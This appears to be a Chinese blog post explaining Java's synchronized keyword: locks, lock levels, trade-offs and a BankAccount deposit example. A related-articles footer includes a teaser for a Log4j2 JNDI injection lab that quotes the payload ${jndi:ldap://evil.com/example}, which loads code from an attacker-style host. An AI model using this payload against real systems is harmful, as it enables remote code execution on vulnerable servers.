Java多线程系列——同步关键字

目录

一、线程安全和数据不一致性

二、synchronized关键字的作用

三、synchronized工作原理

四、锁的级别

五、synchronized的优点与缺点

六、实战应用

七、总结


在Java中,synchronized 关键字是并发编程中的一个基本构建块,用于控制多个线程对共享资源的访问,以确保数据的一致性和线程的安全。在深入研究synchronized关键字的工作原理之前,我们需要理解在多线程环境中数据不一致的问题以及线程安全的概念。

一、线程安全和数据不一致性

当多个线程同时访问某个对象时,如果不采取适当的同步措施,那么由于线程调度的不确定性,可能会导致对象状态的不正确或者预期之外的结果。这种情况下,我们说这个对象不是线程安全的。线程安全问题通常发生在共享资源上,比如共享的变量、数据结构等。

二、synchronized关键字的作用

synchronized关键字可以用于方法或者代码块上,保证同一时刻只有一个线程可以执行该方法或代码块内的代码。

  • 同步方法:当你在方法声明中使用synchronized关键字时,这个方法称为同步方法。对于实例方法,锁是当前实例对象;对于静态同步方法,锁是当前类的Class对象。

  • 同步代码块:相比同步方法,同步代码块提供了更细粒度的控制。它允许你指定加锁的对象,只有拿到该对象锁的线程才能执行该代码块。

三、synchronized工作原理

当线程进入同步方法或同步代码块时,它会自动获得锁。进入同步区域的每个线程都必须先获得锁,任何其他试图进入该区域的线程都必须等待,直到锁被释放。当线程完成其同步区域内的代码执行或遇到异常时,它会释放锁,这允许其他线程进入该区域。

四、锁的级别

  • 对象锁:每个对象都有一个锁(监视器锁),当通过实例对象调用同步实例方法时,必须获得该实例对象的锁。

  • 类锁:每个类也有一个锁,当调用该类的静态同步方法时,必须获得该类的锁。

五、synchronized的优点与缺点

优点

  • 简单易用:只需要在方法或代码块前加上synchronized关键字。
  • 安全可靠:可以保证在同一时刻最多只有一个线程执行同步代码,避免了数据不一致性问题。

缺点

  • 性能影响:加锁操作需要消耗一定的系统资源,过度同步可能会导致系统吞吐量降低。
  • 死锁风险:不当的使用(比如相互等待)可能会导致死锁,使得线程永远等待下去。

 

六、实战应用

让我通过一个详细的例子来解释一下。

假设我们有一个银行账户类BankAccount,其中包含了账户余额balance和存款方法deposit。在多线程环境下,如果多个线程同时调用deposit方法来存款,就有可能出现数据不一致的情况。这时我们可以使用synchronized来确保deposit方法的安全访问。

public class BankAccount {private int balance;public BankAccount(int initialBalance) {this.balance = initialBalance;}public synchronized void deposit(int amount) {int newBalance = balance + amount;// 模拟存款过程中的其他操作// ...balance = newBalance;}public int getBalance() {return balance;}
}

在上面的例子中,我们使用synchronized关键字修饰了deposit方法。这样一来,当一个线程进入deposit方法时,其它线程就无法同时访问该方法,直到这个线程执行完毕并释放锁。这样就确保了对balance的安全访问,避免了多个线程同时修改balance导致的数据不一致问题。

七、总结

synchronized关键字是Java并发编程中的重要工具,通过内部锁机制来保证代码块在多线程环境中的安全执行。虽然它可能会引入性能开销并有死锁的风险,但如果正确使用,synchronized是实现线程安全的有效方式。在设计多线程应用时,开发者需要权衡同步的需求与性能的影响,合理地使用synchronized关键字,以确保应用既安全又高效。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/691264.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring框架-AOP(面向切面编程)

AOP,面向切面编程,指在不改变源码的情况下,增加方法的功能。 AOP底层使用动态代理,有两种情况的动态代理: 有接口情况下的动态代理,使用的是JDK动态代理,通过创建接口实现类的代理对象来增强类…

NVIDIA Chat with RTX

NVIDIA在2月13日发布了Chat With RTX,这是一款类似于ChatGPT的免费个性化 AI 聊天机器人,可以在配备 Nvidia RTX 显卡的 PC 上本地运行。它使用Mistral或Llama开放权重LLM,可以搜索本地文件并回答有关它们的问题。本文中我们一起来了解一下Ch…

国际语言代码 Language Code 对照表速查

前言 语言代码是英国教育社会学家伯恩斯坦的术语。指在一定的语言集团中,特定的人群在特定的社会环境下使用的特定的言语。分为限定代码(restricted code)和精制代码(elaborated code)。语言代码是由字母或数字组成的…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…

提高C++运行效率技巧

提高C运行效率技巧 在C中,通过查表(Look-Up Table, LUT)来计算三角函数的数值是一种节省时间的方法,尤其是在需要快速计算且对精度要求不是特别高的情况下。这种方法通常用于嵌入式系统或实时应用,因为这些场景中对计…

lpr是什么?lpr下降哪些行业是利好?

中国人民银行授权全国银行间同业拆借中心公布,2024年2月20日贷款市场报价利率(LPR)为:1年期LPR为3.45%,5年期以上LPR为3.95%。以上LPR在下一次发布LPR之前有效。 2024年1月22日贷款市场报价利率(LPR&#…

算法项目(4)—— 特征工程+xgboost股票预测

本文包含什么? 项目如何运行全套可运行的项目代码代码介绍运行有问题? csdn上后台随时售后.项目说明 本文主要实现使用xgboost实现股票预测,模型的输入包括上证50只股票所有的数据,预测的目标是股票的close. 使用的特征如下: ["open","high","low…

typescript高级类型-类型兼容性

类型兼容性 在 TypeScript 中,对象类型兼容性是指当一个对象赋值给另一个对象时,是否满足类型要求。TypeScript 的类型兼容性是基于结构子类型而不是名义类型的,这意味着只要源类型的属性和方法满足目标类型的要求,就认为两个类型…

“构建安全高效的前端权限控制系统:确保用户访问合适的内容“

目录 引言 一、背景介绍 二 、具体实现方法 (1)用户角色管理 1. 安装依赖 2. 创建数据模型 3. 创建控制器 4. 创建路由 5. 配置应用程序 6. 测试接口 (2)前端路由控制 1. 安装Vue Router 2. 创建路由配置 3. 创建视图…

HCIP---OSPF

题目: 一:IP规划并配置 全网拿192.16.0.0/16划分,先按区域划分,一共有五个区域加上一共RIP网段,要借三位。 255.255. 11100000.00000000 172.16. 00000000.00000000 172.16.0.0/19 区域0 172.16. 00100000.00…

Vue中$root的使用方法

查看本专栏目录 关于作者 还是大剑师兰特:曾是美国某知名大学计算机专业研究生,现为航空航海领域高级前端工程师;CSDN知名博主,GIS领域优质创作者,深耕openlayers、leaflet、mapbox、cesium,canvas&#x…

对顺序表的基本操作(增删查改),并编写makefile进行编

1.定义顺序表结构体 2.创建顺序表 3.从尾部插入数据 4.遍历顺序表 5.从尾部删除数据 6.按下标插入数据 7.按下标删除数据 8.按下标修改数据 9.按下标查找数据 10.按数据修改数据 11..按数据查找位置 12.顺序表去重 删除重复数据 (提示:将先出现的数据与后面的数据对…

算法刷题day15

目录 引言一、保险箱二、棋盘三、翻转总结 引言 今天还是三道新题,多练多想才会有出路。 一、保险箱 标签:状态机DP 思路:这道题看的我懵的很,大概意思就是每一位有三种状态 f [ i ] [ 3 ] f[i][3] f[i][3] 分别为借位、啥也不…

面试redis篇-03缓存击穿

原理 缓存击穿:给某一个key设置了过期时间,当key过期的时候,恰好这时间点对这个key有大量的并发请求过来,这些并发的请求可能会瞬间把DB压垮 解决方案一:互斥锁 解决方案二:逻辑过期 提问与回答 面试官 :什么是缓存击穿 ? 怎么解决 ? 回答: 缓存击穿的意思…

【Linux】主机搭建 Linux服务器环境 笔记

目录 前言选择系统软件1. 用U盘装系统2. 安装 Centos7.93. 网络套件 应用软件1. ngnix2. 防火墙配置3. nodejs 后记 前言 过年买了个 mini 主机当玩具玩一下,这里记录下。 选择 已有主力机 (windows) 的情况下,使用过如下四种 Linux宿主环境。这里总…

【C语言必刷题】4. 打印100~200之间的素数

📚博客主页:爱敲代码的小杨. ✨专栏:《Java SE语法》 | 《数据结构与算法》 | 《C生万物》 ❤️感谢大家点赞👍🏻收藏⭐评论✍🏻,您的三连就是我持续更新的动力❤️ 🙏小杨水平有…

python中类属性与实例属性

类属性与实例属性的区别: 类属性: 是与类相关联的属性,在类级别上定义,对于所有该类的实例来说都是相同的。可以通过在类的内部直接定义赋值来创建类属性。 Example: class MyClass:class_attribute "This is a class a…

PaddleSeg分割框架解读[01] 核心设计解析

文章目录 PaddleSeg分割框架解读[01] 核心设计解析tools/train.pypaddleseg/cvlibs/config.pypaddleseg/cvlibs/builder.pypaddleseg/cvlibs/manager.pyPaddleSeg分割框架解读[01] 核心设计解析 tools/train.py import argparse import random import numpy as np import cv2…

Linux调优指南

更多相关知识可以阅读: https://www.yuque.com/treblez/qksu6c/yxl59pkvczqot9us https://www.yuque.com/treblez/qksu6c/nqe8ip59cwegl6rk 本文不会讲解基础知识。 CPU 设置调度器 这几个调度类的优先级如下:Deadline > Realtime > Fair 如果你…

频谱仿真平台HTZ Communications为私有5G建设铺平道路

韩国的国家监管机构韩国通信委员会(KCA)计划在德思特频谱仿真平台HTZ Communications的支持下加快扩大无线电接入范围,提升全国电信服务的质量和效率。 韩国通信委员会(KCA)在韩国的监管环境中扮演着至关重要的角色&am…